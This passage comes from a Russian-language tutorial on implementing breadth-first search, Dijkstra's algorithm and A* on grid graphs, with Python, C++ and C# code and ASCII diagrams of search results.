. . . ####→ → → A ← ← ← ← ####. . . . . . . . . . . . . . .
. . . ####→ → ↑ ↑ ↑ ← ← ← ####. . . . . . . . . . . . . . .
. . ↓ ####→ ↑ ↑ ↑ ↑ ↑ ← ← ####. . . . . . . . . . . . . . .
. ↓ ↓ ####↑ ↑ ↑ ↑ ↑ ↑ ↑ ← ####. . . . . . . . . . . . . . .
→ ↓ ↓ ####↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ####. . . . . . . . . . . . . . .
→ → → → → ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ####. . . . . . . . . . . . . . .
→ → → → ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ####. . . . . . . . . . . . . . .
. → → ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ####. . . . . . . . . . . . . . .`
Как мы видим, алгоритм останавливается, когда находит цель `Z`.
### 1.3 Алгоритм Дейкстры
Это добавляет сложности алгоритму, потому что мы будем начинать обрабатывать точки в улучшенном порядке, а не просто «первая вошла, первая вышла». Какой принцип мы будем использовать?
1. *Графу* нужно знать стоимость движения.
2. *Очереди* нужно возвращать узлы в другом порядке.
3. *Поиск* должен отслеживать эту стоимость в графе и передавать её в очередь.
#### 1.3.1 Граф с весами
Я собираюсь добавить функцию `cost(from_node, to_node)`, которая сообщает нам стоимость перемещения из точки `from_node` в её соседа `to_node`. В этой карте с лесом я решил, что движение будет зависеть только от `to_node`, но [есть и другие типы движения, использующие оба узла](http://theory.stanford.edu/~amitp/GameProgramming/MovementCosts.html). Альтернативой реализации будет слияние её в функцию `neighbors`.
```
class GridWithWeights(SquareGrid):
def __init__(self, width, height):
super().__init__(width, height)
self.weights = {}
def cost(self, from_node, to_node):
return self.weights.get(to_node, 1)
```
#### 1.3.2 Очередь с приоритетами
Очередь с приоритетами связывает с каждым элементом число, называемое «приоритетом». При возврате элемента она выбирает элемент с наименьшим числом.
**insert**: добавляет элемент в очередь
**remove**: удаляет элемент с наименьшим числом
**reprioritize**: (необязательно) меняет приоритет имеющегося элемента на более низкое число.
Вот достаточно быстрая очередь с приоритетами, в которой используются *двоичная куча*, но не поддерживается reprioritize. Для получения правильного порядка мы используем кортеж (приоритет, элемент). При вставке элемента, который уже есть в очереди, у нас получиться дубликат. Я объясню, почему это нас устраивает, в разделе «Оптимизация».
```
import heapq
class PriorityQueue:
def __init__(self):
self.elements = []
def empty(self):
return len(self.elements) == 0
def put(self, item, priority):
heapq.heappush(self.elements, (priority, item))
def get(self):
return heapq.heappop(self.elements)[1]
```
#### 1.3.3 Поиск
Здесь есть хитрый момент реализации: поскольку мы добавляем стоимость движения, то есть вероятность повторного посещения точки с более хорошим `cost_so_far`. Это значит, что строка `if next not in came_from` работать не будет. Вместо этого нам нужно проверить, уменьшилась ли стоимость после последнего посещения. (В исходной версии статьи я не проверял это, но мой код всё равно работал. [Я написал заметки об этой ошибке](http://www.redblobgames.com/pathfinding/posts/reprioritize.html).)
Эта карта с лесом взята из [предыдущей статьи](https://habrahabr.ru/post/331192/).
```
def dijkstra_search(graph, start, goal):
frontier = PriorityQueue()
frontier.put(start, 0)
came_from = {}
cost_so_far = {}
came_from[start] = None
cost_so_far[start] = 0
while not frontier.empty():
current = frontier.get()
if current == goal:
break
for next in graph.neighbors(current):
new_cost = cost_so_far[current] + graph.cost(current, next)
if next not in cost_so_far or new_cost < cost_so_far[next]:
cost_so_far[next] = new_cost
priority = new_cost
frontier.put(next, priority)
came_from[next] = current
return came_from, cost_so_far
```
После поиска необходимо построить путь:
```
def reconstruct_path(came_from, start, goal):
current = goal
path = [current]
while current != start:
current = came_from[current]
path.append(current)
path.append(start) # необязательно
path.reverse() # необязательно
return path
```
Хотя пути лучше воспринимать как последовательность рёбер, удобнее хранить как последовательность узлов. Для создания пути начнём с конца и проследуем по карте `came_from`, указывающей на предыдущий узел. Когда мы достигнем начала, дело сделано. Это **обратный** путь, поэтому в конце `reconstruct_path` мы вызываем `reverse()`, если нужно хранить его в прямой последовательности. На самом деле иногда удобнее хранить путь в обратном виде. Кроме того, иногда удобно хранить в списке начальный узел.
Давайте попробуем:
```
from implementation import *
came_from, cost_so_far = dijkstra_search(diagram4, (1, 4), (7, 8))
draw_grid(diagram4, width=3, point_to=came_from, start=(1, 4), goal=(7, 8))
print()
draw_grid(diagram4, width=3, number=cost_so_far, start=(1, 4), goal=(7, 8))
print()
draw_grid(diagram4, width=3, path=reconstruct_path(came_from, start=(1, 4), goal=(7, 8)))
```
`↓ ↓ ← ← ← ← ← ← ← ←
↓ ↓ ← ← ← ↑ ↑ ← ← ←
↓ ↓ ← ← ← ← ↑ ↑ ← ←
↓ ↓ ← ← ← ← ← ↑ ↑ .
→ A ← ← ← ← . . . .
↑ ↑ ← ← ← ← . . . .
↑ ↑ ← ← ← ← ← . . .
↑ #########↑ ← ↓ . . .
↑ #########↓ ↓ ↓ Z . .
↑ ← ← ← ← ← ← ← ← .
5 4 5 6 7 8 9 10 11 12
4 3 4 5 10 13 10 11 12 13
3 2 3 4 9 14 15 12 13 14
2 1 2 3 8 13 18 17 14 .
1 A 1 6 11 16 . . . .
2 1 2 7 12 17 . . . .
3 2 3 4 9 14 19 . . .
4 #########14 19 18 . . .
5 #########15 16 13 Z . .
6 7 8 9 10 11 12 13 14 .
. . . . . . . . . .
. . . . . . . . . .
. . . . . . . . . .
. . . . . . . . . .
@ @ . . . . . . . .
@ . . . . . . . . .
@ . . . . . . . . .
@ #########. . . . . .
@ #########. . @ @ . .
@ @ @ @ @ @ @ . . .`
Строку `if next not in cost_so_far or new_cost < cost_so_far[next]` можно упростить до `if new_cost < cost_so_far.get(next, Infinity)`, но я не хотел объяснять `get()` Python в прошлой статье, поэтому оставил, как есть. Можно так же использовать `collections.defaultdict` со значением infinity по умолчанию.
### 1.4 Поиск A\*
И жадный поиск по наилучшему первому совпадению, и A\* используют эвристическую функцию. Единственная разница заключается в том, что A\* использует и эвристику, и упорядочивание из алгоритма Дейкстры. Здесь я покажу A\*.
```
def heuristic(a, b):
(x1, y1) = a
(x2, y2) = b
return abs(x1 - x2) + abs(y1 - y2)
def a_star_search(graph, start, goal):
frontier = PriorityQueue()
frontier.put(start, 0)
came_from = {}
cost_so_far = {}
came_from[start] = None
cost_so_far[start] = 0
while not frontier.empty():
current = frontier.get()
if current == goal:
break
for next in graph.neighbors(current):
new_cost = cost_so_far[current] + graph.cost(current, next)
if next not in cost_so_far or new_cost < cost_so_far[next]:
cost_so_far[next] = new_cost
priority = new_cost + heuristic(goal, next)
frontier.put(next, priority)
came_from[next] = current
return came_from, cost_so_far
```
Давайте попробуем:
```
from implementation import *
came_from, cost_so_far = a_star_search(diagram4, (1, 4), (7, 8))
draw_grid(diagram4, width=3, point_to=came_from, start=(1, 4), goal=(7, 8))
print()
draw_grid(diagram4, width=3, number=cost_so_far, start=(1, 4), goal=(7, 8))
```
`. . . . . . . . . .
. ↓ ↓ ↓ . . . . . .
↓ ↓ ↓ ↓ ← . . . . .
↓ ↓ ↓ ← ← . . . . .
→ A ← ← ← . . . . .
→ ↑ ← ← ← . . . . .
→ ↑ ← ← ← ← . . . .
↑ #########↑ . ↓ . . .
↑ #########↓ ↓ ↓ Z . .
↑ ← ← ← ← ← ← ← . .
. . . . . . . . . .
. 3 4 5 . . . . . .
3 2 3 4 9 . . . . .
2 1 2 3 8 . . . . .
1 A 1 6 11 . . . . .
2 1 2 7 12 . . . . .
3 2 3 4 9 14 . . . .
4 #########14 . 18 . . .
5 #########15 16 13 Z . .
6 7 8 9 10 11 12 13 . .`
#### 1.4.1 Спрямлённые пути
Если вы будете реализовывать этот код в собственном проекте, то можете обнаружить, что часть путей не такая «прямая», как хотелось бы. **Это нормально**. При использовании *сеток*, а в особенности сеток, в которых каждый шаг имеет одинаковую стоимость движения, у вас получатся **равноценные варианты**: многие пути имеют совершенно одинаковую стоимость. A\* выбирает один из множества кратких путей, и очень часто **он выглядит не очень красиво**. Можно применить быстрый хак, [устраняющий равноценные варианты](http://theory.stanford.edu/~amitp/GameProgramming/Heuristics.html#breaking-ties), но он не всегда полностью подходит. Лучше будет [изменить представление карты](http://www.redblobgames.com/pathfinding/grids/algorithms.html), что позволит намного ускорить A\* и создавать более прямые и приятные пути. Однако это подходит для статичных карт, в которых каждый шаг имеет одну стоимость движения. Для демо на моей странице я использую быстрый хак, но он работает только с моей медленной очередью с приоритетами. Если переключиться на более быструю очередь с приоритетами, то потребуется другой быстрый хак.
2 Реализация на C++
-------------------
Примечание: для выполнения части кода примера необходимо добавить [redblobgames/pathfinding/a-star/implementation.cpp](http://www.redblobgames.com/pathfinding/a-star/implementation.cpp). Я использую для этого кода **C++11**, поэтому если вы используете более старую версию стандарта C++, то придётся частично его изменить.
### 2.1 Поиск в ширину
Сначала изучите раздел о Python. В этом разделе будет код, но не будет тех же объяснений. Сначала добавим общий класс графа:
```
template
struct SimpleGraph {
typedef L Location;
typedef typename vector::iterator iterator;
unordered\_map > edges;
inline const vector neighbors(Location id) {
return edges[id];
}
};
```
и тот же пример графа из кода на Python, использующий для пометки точек `char`:
![image](http://www.redblobgames.com/pathfinding/a-star/implementation-example-graph.png)
```
SimpleGraph example\_graph {{
{'A', {'B'}},
{'B', {'A', 'C', 'D'}},
{'C', {'A'}},
{'D', {'E', 'A'}},
{'E', {'B'}}
}};
```
Вместо определения класса очереди мы используем класс из стандартной библиотеки C++. Теперь мы можем попробовать выполнить поиск в ширину:
```
#include "redblobgames/pathfinding/a-star/implementation.cpp"
template
void breadth\_first\_search(Graph graph, typename Graph::Location start) {
typedef typename Graph::Location Location;
queue frontier;
frontier.push(start);
unordered\_set visited;
visited.insert(start);
while (!frontier.empty()) {
auto current = frontier.front();
frontier.pop();
std::cout << "Visiting " << current << std::endl;
for (auto& next : graph.neighbors(current)) {
if (!visited.count(next)) {
frontier.push(next);
visited.insert(next);
}
}
}
}
int main() {
breadth\_first\_search(example\_graph, 'A');
}
```
`Visiting A
Visiting B
Visiting C
Visiting D
Visiting E`
Код немного длиннее, чем на Python, но это вполне нормально.
Как насчёт сеток квадратов? Я определю ещё один класс графа. Заметьте, что он не связан с предыдущим классом графа. Я использую шаблоны, а не наследование. Граф должен только обеспечить typedef `Location` и функцию `neighbors`.
```
struct SquareGrid {
typedef tuple Location;
static array DIRS;
int width, height;
unordered\_set walls;
SquareGrid(int width\_, int height\_)
: width(width\_), height(height\_) {}
inline bool in\_bounds(Location id) const {
int x, y;
tie (x, y) = id;
return 0 <= x && x < width && 0 <= y && y < height;
}
inline bool passable(Location id) const {
return !walls.count(id);
}
vector neighbors(Location id) const {
int x, y, dx, dy;
tie (x, y) = id;
vector results;
for (auto dir : DIRS) {
tie (dx, dy) = dir;
Location next(x + dx, y + dy);
if (in\_bounds(next) && passable(next)) {
results.push\_back(next);
}
}
if ((x + y) % 2 == 0) {
// эстетическое улучшение для сеток квадратов
std::reverse(results.begin(), results.end());
}
return results;
}
};
array SquareGrid::DIRS {Location{1, 0}, Location{0, -1}, Location{-1, 0}, Location{0, 1}};
```
Во вспомогательном файле `implementation.cpp` я определил функцию для отрисовки сеток:
```
#include "redblobgames/pathfinding/a-star/implementation.cpp"
int main() {
SquareGrid grid = make_diagram1();
draw_grid(grid, 2);
}
```
`. . . . . . . . . . . . . . . . . . . . . ####. . . . . . .
. . . . . . . . . . . . . . . . . . . . . ####. . . . . . .
. . . . . . . . . . . . . . . . . . . . . ####. . . . . . .
. . . ####. . . . . . . . . . . . . . . . ####. . . . . . .
. . . ####. . . . . . . . ####. . . . . . ####. . . . . . .
. . . ####. . . . . . . . ####. . . . . . ##########. . . .
. . . ####. . . . . . . . ####. . . . . . ##########. . . .
. . . ####. . . . . . . . ####. . . . . . . . . . . . . . .
. . . ####. . . . . . . . ####. . . . . . . . . . . . . . .
. . . ####. . . . . . . . ####. . . . . . . . . . . . . . .
. . . ####. . . . . . . . ####. . . . . . . . . . . . . . .
. . . ####. . . . . . . . ####. . . . . . . . . . . . . . .
. . . . . . . . . . . . . ####. . . . . . . . . . . . . . .
. . . . . . . . . . . . . ####. . . . . . . . . . . . . . .
. . . . . . . . . . . . . ####. . . . . . . . . . . . . . .`
Давайте ещё раз выполним поиск в ширину, отслеживая `came_from`:
```
#include "redblobgames/pathfinding/a-star/implementation.cpp"
template
unordered\_map
breadth\_first\_search(Graph graph, typename Graph::Location start) {
typedef typename Graph::Location Location;
queue frontier;
frontier.push(start);
unordered\_map came\_from;
came\_from[start] = start;
while (!frontier.empty()) {
auto current = frontier.front();
frontier.pop();
for (auto& next : graph.neighbors(current)) {
if (!came\_from.count(next)) {
frontier.push(next);
came\_from[next] = current;
}
}
}
return came\_from;
}
int main() {
SquareGrid grid = make\_diagram1();
auto parents = breadth\_first\_search(grid, std::make\_tuple(7, 8));
draw\_grid(grid, 2, nullptr, &parents);
}
```
`→ → → → ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ← ← ← ← ← ####↓ ↓ ↓ ↓ ↓ ↓ ↓
→ → → → → ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ← ← ← ← ← ← ####↓ ↓ ↓ ↓ ↓ ↓ ↓
→ → → → → ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ← ← ← ← ← ← ← ####→ ↓ ↓ ↓ ↓ ↓ ↓
→ → ↑ ####↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ← ← ← ← ← ← ← ← ####→ → ↓ ↓ ↓ ↓ ↓
→ ↑ ↑ ####↓ ↓ ↓ ↓ ↓ ↓ ↓ ← ####↑ ← ← ← ← ← ####→ → → ↓ ↓ ↓ ↓
↑ ↑ ↑ ####↓ ↓ ↓ ↓ ↓ ↓ ← ← ####↑ ↑ ← ← ← ← ##########↓ ↓ ↓ ←
↑ ↑ ↑ ####→ ↓ ↓ ↓ ↓ ← ← ← ####↑ ↑ ↑ ← ← ← ##########↓ ↓ ← ←
↓ ↓ ↓ ####→ → ↓ ↓ ← ← ← ← ####↑ ↑ ↑ ↑ ← ← ← ← ← ← ← ← ← ← ←
↓ ↓ ↓ ####→ → * ← ← ← ← ← ####↑ ↑ ↑ ↑ ↑ ← ← ← ← ← ← ← ← ← ←
↓ ↓ ↓ ####→ ↑ ↑ ↑ ← ← ← ← ####↑ ↑ ↑ ↑ ↑ ↑ ← ← ← ← ← ← ← ← ←
↓ ↓ ↓ ####↑ ↑ ↑ ↑ ↑ ← ← ← ####↑ ↑ ↑ ↑ ↑ ↑ ↑ ← ← ← ← ← ← ← ←
→ ↓ ↓ ####↑ ↑ ↑ ↑ ↑ ↑ ← ← ####↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ← ← ← ← ← ← ←
→ → → → → ↑ ↑ ↑ ↑ ↑ ↑ ↑ ← ####↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ← ← ← ← ← ←
→ → → → ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ####↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ← ← ← ← ←
→ → → ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ####↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ← ← ← ←`
В некоторых реализациях используется *внутреннее хранилище* и создаётся объект Node для хранения `came_from` и других значений для каждого узла графа. Я предпочёл использовать *внешнее хранилище*, создав единый `std::unordered_map` для хранения `came_from` для всех узлов графа. Если вы знаете, что точки вашей карты имеют целочисленные индексы, то есть ещё один вариант — использовать одномерный или двухмерный массив/вектор для хранения `came_from` и других значений.
#### 2.1.1 TODO: struct точек
В этом коде я использую `std::tuple` C++, потому что я использовал кортежи в моём коде на Python. Однако кортежи незнакомы большинству программистов на C++. Будет немного более *длинно* определять struct с {x,y}, потому что потребуется определить конструктор, конструктор копирования, оператор присвоения и сравнение равенства вместе с хеш-функцией, но такой код будет более *привычен* большинству программистов на C++. Нужно будет его изменить.
Ещё один вариант (я использую его в своём коде) — кодировать {x,y} как `int`. T Если код A\* всегда имеет плотное множество целочистеллых значений вместо произвольных типов `Location`, это позволяет использовать дополнительные оптимизации. Можно использовать для различных множеств массивы, а не таблицы хешей. Можно оставить большинство из них неинициализированными. Для тех массивов, которые нужно каждый раз инициализировать заново, можно сделать их постоянными для вызовов A\* (возможно, с помощью локального хранилища потоков) и инициализировать заново только те части массива, которые использовались в предыдущем вызове. Это более сложная техника, которую я не хочу использовать в туториале начального уровня.
### 2.2 Ранний выход
Как и в версии под Python нам нужно всего лишь добавить к функции параметр и проверять основной цикл:
```
#include "redblobgames/pathfinding/a-star/implementation.cpp"
template
unordered\_map
breadth\_first\_search(const Graph& graph,
typename Graph::Location start,
typename Graph::Location goal) {
typedef typename Graph::Location Location;
queue frontier;
frontier.push(start);
unordered\_map came\_from;
came\_from[start] = start;
while (!frontier.empty()) {
auto current = frontier.front();
frontier.pop();
if (current == goal) {
break;
}
for (auto& next : graph.neighbors(current)) {
if (!came\_from.count(next)) {
frontier.push(next);
came\_from[next] = current;
}
}
}
return came\_from;
}
int main() {
SquareGrid grid = make\_diagram1();
auto parents = breadth\_first\_search(grid, SquareGrid::Location{8, 7}, SquareGrid::Location{17, 2});
draw\_grid(grid, 2, nullptr, &parents);
}
```
`. → → → ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ← . . . . ####. . . . . . .
→ → → → → ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ← ← ← . . . ####. . . . . . .
→ → → → → ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ← ← ← ← . . . ####. . . . . . .
→ → ↑ ####↓ ↓ ↓ ↓ ↓ ↓ ↓ ↓ ← ← ← ← ← ← . . ####. . . . . . .
. ↑ ↑ ####→ ↓ ↓ ↓ ↓ ↓ ↓ ← ####↑ ← ← . . . ####. . . . . . .
. . ↑ ####→ → ↓ ↓ ↓ ↓ ← ← ####↑ ↑ . . . . ##########. . . .
. . . ####→ → → ↓ ↓ ← ← ← ####↑ . . . . . ##########. . . .
. . . ####→ → → * ← ← ← ← ####. . . . . . . . . . . . . . .
. . . ####→ → ↑ ↑ ↑ ← ← ← ####. . . . . . . . . . . . . . .
. . ↓ ####→ ↑ ↑ ↑ ↑ ↑ ← ← ####. . . . . . . . . . . . . . .
. ↓ ↓ ####↑ ↑ ↑ ↑ ↑ ↑ ↑ ← ####. . . . . . . . . . . . . . .
→ ↓ ↓ ####↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ####. . . . . . . . . . . . . . .
→ → → → → ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ####. . . . . . . . . . . . . . .
→ → → → ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ####. . . . . . . . . . . . . . .
. → → ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ↑ ####. . . . . . . . . . . . . . .`
### 2.3 Алгоритм Дейкстры
#### 2.3.1 Граф с весами
У нас есть сетка со списком тайлов леса, стоимость движения по которым равна 5. В этой лесной карте я решил выполнять движение только в зависимости от `to_node`, но [есть и другие типы движения, использующие оба узла](http://theory.stanford.edu/~amitp/GameProgramming/MovementCosts.html).
```
struct GridWithWeights: SquareGrid {
unordered_set forests;
GridWithWeights(int w, int h): SquareGrid(w, h) {}
double cost(Location from\_node, Location to\_node) const {
return forests.count(to\_node) ? 5 : 1;
}
};
```
#### 2.3.2 Очередь с приоритетами
Нам нужна очередь с приоритетами. В C++ есть класс `priority_queue`, использующий двоичную кучу, но без операции изменения приоритета. я использую пару (приоритет, элемент) для элементов очереди, чтобы получить правильный порядок. По умолчанию очередь с приоритетами C++ возвращает сначала с помощью компаратора `std::less` максимальный элемент. Нам нужен минимальный элемент, поэтому я использую компаратор `std::greater`.
```
template
struct PriorityQueue {
typedef pair PQElement;
priority\_queue,
std::greater> elements;
inline bool empty() const { return elements.empty(); }
inline void put(T item, priority\_t priority) {
elements.emplace(priority, item);
}
inline T get() {
T best\_item = elements.top().second;
elements.pop();
return best\_item;
}
};
```
В этом коде примера я оборачиваю класс C++ `std::priority_queue`, но думаю, будет разумно использовать этот класс без обёртки.
#### 2.3.3 Поиск
См. [карту с лесом из предыдущей статьи](https://habrahabr.ru/post/331192/).
```
template
void dijkstra\_search
(const Graph& graph,
typename Graph::Location start,
typename Graph::Location goal,
unordered\_map& came\_from,
unordered\_map& cost\_so\_far)
{
typedef typename Graph::Location Location;
PriorityQueue frontier;
frontier.put(start, 0);
came\_from[start] = start;
cost\_so\_far[start] = 0;
while (!frontier.empty()) {
auto current = frontier.get();
if (current == goal) {
break;
}
for (auto& next : graph.neighbors(current)) {
double new\_cost = cost\_so\_far[current] + graph.cost(current, next);
if (!cost\_so\_far.count(next) || new\_cost < cost\_so\_far[next]) {
cost\_so\_far[next] = new\_cost;
came\_from[next] = current;
frontier.put(next, new\_cost);
}
}
}
}
```
Типы переменных `cost` должны совпадать с типами, используемыми в графе. Если вы используете `int`, то можно использовать `int` для переменной стоимости и приоритетов в очереди с приоритетами. Если вы используете `double`, то для них тоже нужно использовать `double`. В этом коде я использовал `double`, но можно было применить и `int`, при этом код работал бы так же. Однако если если стоимость рёбер графа хранится в double или double используется в эвристике, то и здесь нужно использовать double.
И, наконец, после поиска нужно построить путь:
```
template
vector reconstruct\_path(
Location start,
Location goal,
unordered\_map& came\_from
) {
vector path;
Location current = goal;
path.push\_back(current);
while (current != start) {
current = came\_from[current];
path.push\_back(current);
}
path.push\_back(start); // необязательно
std::reverse(path.begin(), path.end());
return path;
}
```
Хотя пути лучше воспринимать как последовательность рёбер, удобно хранить их как последовательность узлов. Для построения пути начнём с конца и будем следовать карте `came_from`, указывающей на предыдущий узел. Процесс закончится, когда мы достигнем начала. Это **обратный** путь, поэтому если требуется хранить его в прямом виде, то в конце `reconstruct_path` нужно вызвать `reverse()`. Иногда удобнее хранить путь в обратном виде. Иногда также полезно хранить в списке начальный узел.
Давайте попробуем:
```
#include "redblobgames/pathfinding/a-star/implementation.cpp"
int main() {
GridWithWeights grid = make_diagram4();
SquareGrid::Location start{1, 4};
SquareGrid::Location goal{8, 5};
unordered_map came\_from;
unordered\_map cost\_so\_far;
dijkstra\_search(grid, start, goal, came\_from, cost\_so\_far);
draw\_grid(grid, 2, nullptr, &came\_from);
std::cout << std::endl;
draw\_grid(grid, 3, &cost\_so\_far, nullptr);
std::cout << std::endl;
vector path = reconstruct\_path(start, goal, came\_from);
draw\_grid(grid, 3, nullptr, nullptr, &path);
}
```
`↓ ↓ ← ← ← ← ← ← ← ←
↓ ↓ ← ← ← ↑ ↑ ← ← ←
↓ ↓ ← ← ← ← ↑ ↑ ← ←
↓ ↓ ← ← ← ← ← ↑ ↑ ←
→ * ← ← ← ← ← → ↑ ←
↑ ↑ ← ← ← ← . ↓ ↑ .
↑ ↑ ← ← ← ← ← ↓ ← .
↑ ######↑ ← ↓ ↓ ← .
↑ ######↓ ↓ ↓ ← ← ←
↑ ← ← ← ← ← ← ← ← ←
5 4 5 6 7 8 9 10 11 12
4 3 4 5 10 13 10 11 12 13
3 2 3 4 9 14 15 12 13 14
2 1 2 3 8 13 18 17 14 15
1 0 1 6 11 16 21 20 15 16
2 1 2 7 12 17 . 21 16 .
3 2 3 4 9 14 19 16 17 .
4 #########14 19 18 15 16 .
5 #########15 16 13 14 15 16
6 7 8 9 10 11 12 13 14 15
. @ @ @ @ @ @ . . .
. @ . . . . @ @ . .
. @ . . . . . @ @ .
. @ . . . . . . @ .
. @ . . . . . . @ .
. . . . . . . . @ .
. . . . . . . . . .
. #########. . . . . .
. #########. . . . . .
. . . . . . . . . .`
Результаты не полностью совпадают с результатами версии на Python, потому что для очереди с приоритетами я использую встроенные таблицы хешей, и порядок итерации по таблицам хешей не будет постоянным.
### 2.4 Поиск A\*
A\* почти полностью повторяет алгоритм Дейкстры, за исключением добавленного эвристического поиска. Заметьте, что код алгоритма *может применяться не только для сеток*. Знание о сетках находится в классе графа (в этом случае `SquareGrids`) и в функции `heuristic`. Если их заменить, то можно использовать код алгоритма A\* с любой другой структурой графов.
```
inline double heuristic(SquareGrid::Location a, SquareGrid::Location b) {
int x1, y1, x2, y2;
tie (x1, y1) = a;
tie (x2, y2) = b;
return abs(x1 - x2) + abs(y1 - y2);
}
template
void a\_star\_search
(const Graph& graph,
typename Graph::Location start,
typename Graph::Location goal,
unordered\_map& came\_from,
unordered\_map& cost\_so\_far)
{
typedef typename Graph::Location Location;
PriorityQueue frontier;
frontier.put(start, 0);
came\_from[start] = start;
cost\_so\_far[start] = 0;
while (!frontier.empty()) {
auto current = frontier.get();
if (current == goal) {
break;
}
for (auto& next : graph.neighbors(current)) {
double new\_cost = cost\_so\_far[current] + graph.cost(current, next);
if (!cost\_so\_far.count(next) || new\_cost < cost\_so\_far[next]) {
cost\_so\_far[next] = new\_cost;
double priority = new\_cost + heuristic(next, goal);
frontier.put(next, priority);
came\_from[next] = current;
}
}
}
}
```
Тип значений `priority`, в том числе тип, используемый для очереди с приоритетами, должен быть достаточно большим, чтобы вмещать в себя и стоимость графа (`cost_t`), и эвристическое значение. Например, если стоимость графа хранится в int, а эвристика возвращает double, то нужно, чтобы очередь с приоритетами могла получать double. В этом примере кода я использую `double` для всех трёх значений (стоимости, эвристики и приоритета), но я мог использовать и `int`, потому что мои стоимость и эвристика имеют значение integer.
Небольшое примечание: было бы правильнее написать `frontier.put(start, heuristic(start, goal))`, а не `frontier.put(start, 0)`, но здесь это не важно, потому что приоритет начального узла не имеет никакого значения. Это единственный узел в очереди с приоритетами и он выбирается и удаляется ещё до того, как туда что-то будет записано.
```
#include "redblobgames/pathfinding/a-star/implementation.cpp"
int main() {
GridWithWeights grid = make_diagram4();
SquareGrid::Location start{1, 4};
SquareGrid::Location goal{8, 5};
unordered_map came\_from;
unordered\_map cost\_so\_far;
a\_star\_search(grid, start, goal, came\_from, cost\_so\_far);
draw\_grid(grid, 2, nullptr, &came\_from);
std::cout << std::endl;
draw\_grid(grid, 3, &cost\_so\_far, nullptr);
std::cout << std::endl;
vector path = reconstruct\_path(start, goal, came\_from);
draw\_grid(grid, 3, nullptr, nullptr, &path);
}
```
`↓ ↓ ↓ ↓ ← ← ← ← ← ←
↓ ↓ ↓ ↓ ← ↑ ↑ ← ← ←
↓ ↓ ↓ ↓ ← ← ↑ ↑ ← ←
↓ ↓ ↓ ← ← ← . ↑ ↑ ←
→ * ← ← ← ← . → ↑ ←
→ ↑ ← ← ← ← . . ↑ .
↑ ↑ ↑ ← ← ← . . . .
↑ ######↑ . . . . .
↑ ######. . . . . .
↑ . . . . . . . . .
5 4 5 6 7 8 9 10 11 12
4 3 4 5 10 13 10 11 12 13
3 2 3 4 9 14 15 12 13 14
2 1 2 3 8 13 . 17 14 15
1 0 1 6 11 16 . 20 15 16
2 1 2 7 12 17 . . 16 .
3 2 3 4 9 14 . . . .
4 #########14 . . . . .
5 #########. . . . . .
6 . . . . . . . . .
. . . @ @ @ @ . . .
. . . @ . . @ @ . .
. . . @ . . . @ @ .
. . @ @ . . . . @ .
. @ @ . . . . . @ .
. . . . . . . . @ .
. . . . . . . . . .
. #########. . . . . .
. #########. . . . . .
. . . . . . . . . .`
#### 2.4.1 Спрямление путей
При реализации этого кода в своём проекте вы можете заметить, что часть путей не так «пряма», как хотелось бы. **Этот нормально**. При использовании *сеток*, а в особенности сеток, в которых каждый шаг имеет одинаковую стоимость движения, то в результате получатся **равноценные варианты**: многие пути имеют одинаковую стоимость. A\* выбирает один из множества кратчайших путей, и очень часто **он выглядит не очень красиво**. Можно [устранить равноценные варианты](http://theory.stanford.edu/~amitp/GameProgramming/Heuristics.html#breaking-ties) с помощью быстрого хака, но он не полностью подходит. Лучше будет [изменить представление карты](http://www.redblobgames.com/pathfinding/grids/algorithms.html), что намного ускорит A\* и создаст более прямые и красивые пути. Однако это работает только с статичными картами, в которых каждый шаг имеет одинаковую стоимость движения. Для демо на моей странице я использовал быстрый хак, но он работает только с моей медленной очередью с приоритетами. Если вы перейдёте к более быстрой очереди с приоритетами, то вам понадобится другой быстрый хак.
#### 2.4.2 TODO: вектор neighbors() должен передаваться
Вместо выделения и возврата каждый раз нового вектора для соседей, код A\* должен выделить один вектор и каждый раз передавать его в функцию neighbors. В моих тестах это сделало код значительно быстрее.
#### 2.4.3 TODO: устранить параметризацию шаблона
Цель этой страницы — создать простой в понимании код, и я считаю, что параметризация шаблона слишком усложняет его чтение. Вместо него я использую несколько typedef.
#### 2.4.4 TODO: добавить требования
Существует два типа графов (взвешенные и невзвешенные), и код поиска по графу не сообщает, какой тип где требуется.
3 Реализация на C#
------------------
Это мои первые программы на C#, поэтому они могут быть нехарактерными или стилистически неправильными для этого языка. Эти примеры не так завершены, как примеры из разделов о Python и C++, но я надеюсь, что они будут полезны. Вот реализация простого графа и поиска в ширину:
```
using System;
using System.Collections.Generic;
public class Graph
{
// Если вы всегда используете для точек типы string,
// то здесь разумной альтернативой будет NameValueCollection
public Dictionary edges
= new Dictionary();
public Location[] Neighbors(Location id)
{
return edges[id];
}
};
class BreadthFirstSearch
{
static void Search(Graph graph, string start)
{
var frontier = new Queue();
frontier.Enqueue(start);
var visited = new HashSet();
visited.Add(start);
while (frontier.Count > 0)
{
var current = frontier.Dequeue();
Console.WriteLine("Visiting {0}", current);
foreach (var next in graph.Neighbors(current))
{
if (!visited.Contains(next)) {
frontier.Enqueue(next);
visited.Add(next);
}
}
}
}
static void Main()
{
Graph g = new Graph();
g.edges = new Dictionary
{
{ "A", new [] { "B" } },
{ "B", new [] { "A", "C", "D" } },
{ "C", new [] { "A" } },
